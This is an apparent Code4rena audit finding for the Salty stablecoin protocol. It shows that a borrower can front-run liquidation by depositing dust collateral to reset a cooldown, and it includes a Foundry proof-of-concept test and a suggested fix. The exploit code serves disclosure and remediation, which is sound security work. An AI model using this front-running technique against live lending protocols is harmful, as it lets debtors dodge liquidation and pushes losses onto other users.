Frontrunning Liquidation can help a bad debtor keep his collateral for longer periods than desired

[c4-bot-8]

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/stable/CollateralAndLiquidity.sol#L140-L188
https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/staking/StakingRewards.sol#L97-L111

Vulnerability details

Impact

Liquidations can be delayed as well adding more collateral can be delayed which can lead to de-pegging usds

Proof of Concept

The function liquidateUser calls _decreaseUserShare as can be seen from below snippet.

	function liquidateUser( address wallet ) external nonReentrant
		{
        ...
		// Withdraw the liquidated collateral from the liquidity pool.
		// The liquidity is owned by this contract so when it is withdrawn it will be reclaimed by this contract.
		(uint256 reclaimedWBTC, uint256 reclaimedWETH) = pools.removeLiquidity(wbtc, weth, userCollateralAmount, 0, 0, totalShares[collateralPoolID] );

		// Decrease the user's share of collateral as it has been liquidated and they no longer have it.
		_decreaseUserShare( wallet, collateralPoolID, userCollateralAmount, true ); ///@audit ^ calls _decreaseUserShare
        ....
        }

_decreaseUserShare function in turn checks for liquidity cooldown but it can be manipulated easily by adding some amount of collateral just above the DUST i.e 100. So a malicious debtor can postpone his liquidation for an hour. This can be harmful for usds in a flash crash situation where each hour he gets delayed the more loss the project takes. Leading to de - pegging of the stable coin.

	    function _decreaseUserShare( address wallet, bytes32 poolID, uint256 decreaseShareAmount, bool useCooldown ) internal
		{
        ...
		if ( useCooldown )
		if ( msg.sender != address(exchangeConfig.dao()) ) // DAO doesn't use the cooldown
			{
			require( block.timestamp >= user.cooldownExpiration, "Must wait for the cooldown to expire" ); ///<-@audit cooldown check 
			...
			}
        ...
        }

Conversly someone might not be able to add enough collateral to his loan in time.

Here's a coded poc-

		function setupSaltWethPool() public {
            vm.startPrank(DEPLOYER);
            salt.approve(address(collateralAndLiquidity), 1000 ether);
            weth.approve(address(collateralAndLiquidity), 1 ether);
            (,,uint addedLiq)=collateralAndLiquidity.depositLiquidityAndIncreaseShare(salt,weth,1000 ether, 1 ether, 1001 ether,block.timestamp,false);
            assertEq(addedLiq, 1001 ether);
            vm.stopPrank();
        }

        function setupSaltWbtcPool() public {
            vm.startPrank(DEPLOYER);
            salt.approve(address(collateralAndLiquidity), 16000 ether);
            wbtc.approve(address(collateralAndLiquidity), 1e8);
            collateralAndLiquidity.depositLiquidityAndIncreaseShare(salt,wbtc,16000 ether, 1e8, 0,block.timestamp,false);
            vm.stopPrank();
        }

        function testBadDebt6() public{
            vm.label(address(dai),"dai");
            vm.label(address(weth),"weth");
            vm.label(address(wbtc),"wbtc");
            vm.label(address(salt),"salt");

			vm.mockCall(address(forcedPriceFeed),abi.encodeWithSelector(bytes4(keccak256("getPriceBTC()"))), abi.encode(40000 ether));
			vm.mockCall(address(forcedPriceFeed),abi.encodeWithSelector(bytes4(keccak256("getPriceETH()"))), abi.encode(2500 ether));

            //setting up both the pools 
            setupSaltWbtcPool();
            setupSaltWethPool();

            vm.startPrank(DEPLOYER);
            wbtc.transfer(bob, 1e8);
            weth.transfer(bob,16 ether + 0.01 ether);
            wbtc.approve(address(collateralAndLiquidity),type(uint256).max);
            weth.approve(address(collateralAndLiquidity), type(uint256).max);
            collateralAndLiquidity.depositCollateralAndIncreaseShare(1e8,16 ether,0,block.timestamp,false);

            changePrank(bob);
            wbtc.approve(address(collateralAndLiquidity),type(uint256).max);
            weth.approve(address(collateralAndLiquidity), type(uint256).max);
            collateralAndLiquidity.depositCollateralAndIncreaseShare(1e8,16 ether,0,block.timestamp,false);
            uint borrowAmt = collateralAndLiquidity.maxBorrowableUSDS(bob);
            collateralAndLiquidity.borrowUSDS(borrowAmt);
            assertEq(usds.balanceOf(bob),borrowAmt);
            vm.stopPrank();
            emit log_named_decimal_uint("borrowedAmt",borrowAmt,18);
            emit log_named_decimal_uint("colateralVal",collateralAndLiquidity.userCollateralValueInUSD(bob),18);
            vm.warp(block.timestamp + 10 days);
			vm.mockCall(address(forcedPriceFeed),abi.encodeWithSelector(bytes4(keccak256("getPriceBTC()"))), abi.encode(40000 ether / 2));
			vm.mockCall(address(forcedPriceFeed),abi.encodeWithSelector(bytes4(keccak256("getPriceETH()"))), abi.encode(2500 ether / 2));
            emit log_named_decimal_uint("colateralVal",collateralAndLiquidity.userCollateralValueInUSD(bob),18);
            assertEq(collateralAndLiquidity.canUserBeLiquidated(bob),true);

            // now bob frontruns liquidation attempts
            vm.startPrank(bob);
            collateralAndLiquidity.depositCollateralAndIncreaseShare(0,0.0001 ether,0,block.timestamp,true);
            changePrank(DEPLOYER);
            vm.expectRevert(bytes("Must wait for the cooldown to expire"));
            collateralAndLiquidity.liquidateUser(bob);
            vm.stopPrank();
			}

add it to pools.t.sol and run the test using the command

COVERAGE="yes" NETWORK="sep" forge test --match-test testBadDebt6 -vv --rpc-url  https://rpc.sepolia.org

Tools Used

Manual Review

Recommended Mitigation Steps

Currently 'canUserBeLiquidated' is a view function you can add a non view variant of the same function but in this function if a user can be liquidated then set his cooldown to 0. and call that non view function in the liquidateUser function.

Assessed type

Invalid Validation

[c4-judge]

Picodes marked the issue as duplicate of #312

[c4-judge]

Picodes marked the issue as satisfactory